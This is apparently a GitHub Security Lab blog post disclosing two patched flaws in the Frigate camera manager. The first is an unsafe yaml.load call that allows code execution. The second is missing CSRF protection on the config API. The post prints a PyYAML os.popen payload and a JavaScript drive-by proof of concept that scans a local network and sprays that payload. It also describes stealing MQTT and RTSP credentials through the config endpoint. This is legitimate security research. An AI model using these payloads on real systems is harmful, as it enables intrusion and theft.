Securing our home labs: Frigate code review

This blog post describes two linked vulnerabilities found in Frigate, an AI-powered security camera manager, that could have enabled an attacker to silently gain remote code execution.

| 7 minutes

At GitHub Security Lab, we are continuously analyzing open source projects in line with our goal of keeping the software ecosystem safe. Whether by manual review, multi-repository variant analysis, or internal automation, we focus on high-profile projects we all depend on and rely on.

Following on our Securing our home labs series, this time, we (Logan MacLaren, @maclarel, and Jorge Rosillo, @jorgectf) paired in our duty of reviewing some of our automation results (leveraging GitHub code scanning), when we came across an alert that would absorb us for a while. By the end of this post, you will be able to understand how to get remote code execution in a Frigate instance, even when the instance is not directly exposed to the internet.

The target

Screenshot of the homepage for Frigate (frigate.video)

Frigate is an open source network video recorder that can consume video streams from a wide variety of consumer security cameras. In addition to simply acting as a recorder for these streams, it can also perform local object detection.

Furthermore, Frigate offers deep integrations with Home Assistant, which we audited a few weeks ago. With that, and given the significant deployment base (more than 1.6 million downloads of Frigate container at the time of writing), this looked like a great project to dig deeper into as a continuation for our previous research.

Issues we found

Code scanning initially alerted us to several potential vulnerabilities, and the one that stood out the most was deserialization of user-controlled data, so we decided to dive into that one to start.

Please note that the code samples outlined below are based on Frigate 0.12.1 and all vulnerabilities outlined in this report have been patched as of the latest beta release (0.13.0 Beta 3).

Insecure deserialization with yaml.load (CVE-2023-45672)

Screenshot of a critical severity alert from CodeQL, "Deserialization of user-controlled data." The label at the top of the alert notes that it has been fixed.

Frigate offers the ability to update its configuration in three ways—through a configuration file local to the system/container it runs on, through its UI, or through the /api/config/save REST API endpoint. When updating the configuration through any of these means there will eventually be a call to load_config_with_no_duplicates which is where this vulnerability existed.

Using the /api/config/save endpoint as an entrypoint, input is initially accepted through http.py:

@bp.route("/config/save", methods=["POST"])
def config_save():
    save_option = request.args.get("save_option")

    new_config = request.get_data().decode()

The user-provided input is then parsed and loaded by load_config_with_no_duplicates:

@classmethod
def parse_raw(cls, raw_config):
    config = load_config_with_no_duplicates(raw_config)
    return cls.parse_obj(config)

However, load_config_with_no_duplicates uses yaml.loader.Loader which can instantiate custom constructors. A provided payload will be executed directly:

PreserveDuplicatesLoader.add_constructor(
    yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor
)
return yaml.load(raw_config, PreserveDuplicatesLoader)

In this scenario providing a payload like the following (invoking os.popen to run touch /tmp/pwned) was sufficient to achieve remote code execution:

!!python/object/apply:os.popen
- touch /tmp/pwned

Cross-site request forgery in config_save and config_set request handlers (CVE-2023-45670)

Even though we can get code execution on the host (potentially a container) running Frigate, most installations are only exposed in the user local network, so an attacker cannot interact directly with the instance. We wanted to find a way to get our payload to the target system without needing to have direct access. Some further review of the API led us to find two notable things:

  1. The API does not implement any authentication (nor does the UI), instead relying on user-provided security (for example, an authentication proxy).
  2. No CSRF protections were in place, and the attacker does not really need to be able to read the cross-origin response, meaning that even with an authentication proxy in place a “drive-by” attack would be feasible.

As a simple proof of concept (PoC), we created a web page that will run a Javascript function targeted to a server under our control and drop in our own configuration (note the camera name of pwnd):

const pwn = async () => {
        const data = `mqtt:
  host: mqtt
cameras:
  pwnd:
    ffmpeg:
      inputs:
        - path: /media/frigate/car-stopping.mp4
          input_args: -re -stream_loop -1 -fflags +genpts
          roles:
            - detect
            - rtmp
    detect:
      height: 1080
      width: 1920
      fps: 5`;


        await fetch("http://:5000/api/config/save?save_option=saveonly", {
    method: "POST",
    mode: "no-cors",
    body: data
        });
}
pwn();

Putting these into action for a “drive-by

As we have a combination of an API endpoint that can update the server’s configuration without authentication, is vulnerable to a “drive-by” as it lacks CSRF protection, and a vulnerable configuration parser we can quickly move toward 0-click RCE with little or no knowledge of the victim’s network or Frigate configuration.

For the purposes of this PoC, we have Frigate 0.12.1 running at 10.0.0.2 on TCP 5000.

Using the following Javascript we can scan an arbitrary network space (for example, 10.0.0.1 through 10.0.0.4) to find a service accepting connections on TCP 5000. This will iterate over any IP in the range we provide in the script and scan the defined port range. If it finds a hit, it will run the pwn function against it.

// Tested and confirmed functional using Chrome 118.0.5993.88 with Frigate 0.12.1.

const pwn = (host, port) => {
       const data = `!!python/object/apply:os.popen
- touch /tmp/pwned`;

        fetch("http://" + host + ":" + port + "/api/config/save?save_option=saveonly", {
    method: "POST",
    mode: "no-cors",
    body: data
        });
};

const thread = (host, start, stop, callback) => {
    const loop = port => {
        if (port  {
                callback(port);
                loop(port + 1);
            }).catch(err => {
                loop(port + 1);
            });
        }
    };
    setTimeout(() => loop(start), 0);
};

const scanRange = (start, stop, thread_count) => {
    const port_range = stop - start;
    const thread_range = port_range / thread_count;
    for (let n = 0; n < 5; n++) {
            let host = "10.0.0." + n;
            for (let i = 0; i  {
                    pwn(host, port);
                });
            }
    }
}

window.onload = () => {
    scanRange(4998, 5002, 2);
};

This can, of course, be extended out to scan a larger IP range, multiple different IP ranges (for example, 192.168.0.0/24), different port ranges, etc. In short, the attacker does not need to know anything about the victim’s network or the location of the Frigate service—if it’s running on a predictable port a malicious request can easily be sent to it with no user involvement beyond accessing the malicious website. It is likely that this can be further extended to perform validation of the target prior to submitting a payload; however, the ability to “spray” a malicious payload in this fashion is sufficient for zero-knowledge exploitation without user interaction.

Credit to wybiral/localscan for the basis of the Javascript port scanner.

Being a bit sneakier with the /config API

The /config API has three main capabilities:

  • Pull the existing config
  • Save a new config
  • Update an existing config

As Frigate, by default, has no authentication mechanism it’s possible to arbitrarily pull the configuration of the target server by sending a GET request to :/api/config/raw. While this may not seem too interesting at first, this can be used to pull MQTT credentials, RTSP password(s), and local file paths that we can take advantage of for exfiltration.

The saveonly option is useful if we wish to utilize the deserialization vulnerability; however, restart can actually have the server running with a configuration under our control.

Combining these three capabilities with the CSRF vulnerability outlined above, it’s possible to not only achieve RCE (the most interesting path), but also to have Frigate running a malicious config in a way that’s largely invisible to the owner of the service.

In short, we can:

  • Pull the existing configuration from /config/raw.
  • Insert our own configuration (e.g. disabling recording, changing the MQTT server location, changing feeds to view cameras under our control, etc…—movie-style hacker stuff) and prompt the server to run with it using /config/save‘s restart argument.
  • Overwrite our malicious configuration with the original configuration but not utilize it by again updating through /config/save using the saveonly argument.

Conclusion

Frigate is a fantastic project, and it does what it aims to do very well, with significant customization options. Having said this, there remains considerable room for improvement with the out-of-the-box security configuration, so additional security protections are strongly recommended for deployments of this software.

At the time of writing the vulnerabilities outlined here have all been patched (>= 0.13.0 Beta 3) and the following GitHub Security Advisories and CVEs have been published:

We also published our advisory on the GitHub Security Lab page.

We encourage users of Frigate to update to the latest releases as soon as possible, and also you, fellow reader, to stay tuned for more blog posts in the Securing our home labs series!

Related posts